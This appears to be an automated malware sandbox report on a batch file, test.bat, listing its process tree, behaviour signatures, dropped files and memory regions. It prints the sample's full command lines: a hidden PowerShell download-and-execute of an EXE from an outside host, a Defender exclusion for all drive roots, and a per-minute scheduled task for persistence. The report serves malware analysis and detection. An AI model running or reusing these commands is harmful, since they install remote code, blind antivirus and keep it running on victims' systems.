Analysis

  • max time kernel
    6s
  • max time network
    20s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 08:20

General

  • Target
    test.bat
  • Size 281B
  • Sample260809-j8fpdsxvds
  • SHA256 4be2c632a75151c4702bd0900869729aa16b0bbc5f81465514736582b0e90923
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3352
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4796
          • C:\Users\Admin\AppData\Roaming\BK942369.exe
            "C:\Users\Admin\AppData\Roaming\BK942369.exe"
            5⤵
            • Executes dropped EXE
            • Checks system information in the registry
            • Suspicious use of WriteProcessMemory
            PID:2648
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              6⤵
              • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious use of WriteProcessMemory
              PID:3540
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:2428
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3300
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1708
    • C:\Users\Admin\AppData\Roaming\BK942369.exe
      C:\Users\Admin\AppData\Roaming\BK942369.exe
      1⤵
        PID:2292
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          2⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Ignore Process Interrupts
          PID:3124
          • C:\Windows\system32\chcp.com
            chcp 65001
            3⤵
              PID:764
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4528
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2304

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 96e75f9ab11a054cc56e15c9f0eca46aaeafc7ceac160de2307ef72ecfc3f41b
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_52rdny15.x1t.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52rdny15.x1t.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              ~msnDEV-57808857cfb74a6d.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-57808857cfb74a6d.tmp
              • Size 4B
              • SHA256 25cf41ca95ac11973b4ef601b07029a9a0f4b8f2437fba6c693c3752075a12df
              • MD5 SHA1 SHA512

              BK942369.exe

              • Path C:\Users\Admin\AppData\Roaming\BK942369.exe
              • Size 60KB
              • SHA256 8257ea5982473d81d71ed2abf2a8357f4be572978c943f23ef0a30cffc7f5090
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2648-47-0x00007FF78C740000-0x00007FF78C759000-memory.dmp

              memory/2648-33-0x0000000254000000-0x000000025405A000-memory.dmp

              memory/3300-31-0x0000023ABDCB0000-0x0000023ABDCBA000-memory.dmp

              memory/3300-30-0x0000023AD5E00000-0x0000023AD5EB2000-memory.dmp

              memory/3300-29-0x0000023ABDC90000-0x0000023ABDCAE000-memory.dmp

              memory/4796-8-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-7-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-23-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-11-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-10-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-9-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-0-0x00007FFE2A8EF000-0x00007FFE2A8F0000-memory.dmp

              memory/4796-12-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-6-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-44-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-5-0x0000023FA4F70000-0x0000023FA4F92000-memory.dmp

              memory/4796-2-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-1-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

              memory/4796-66-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp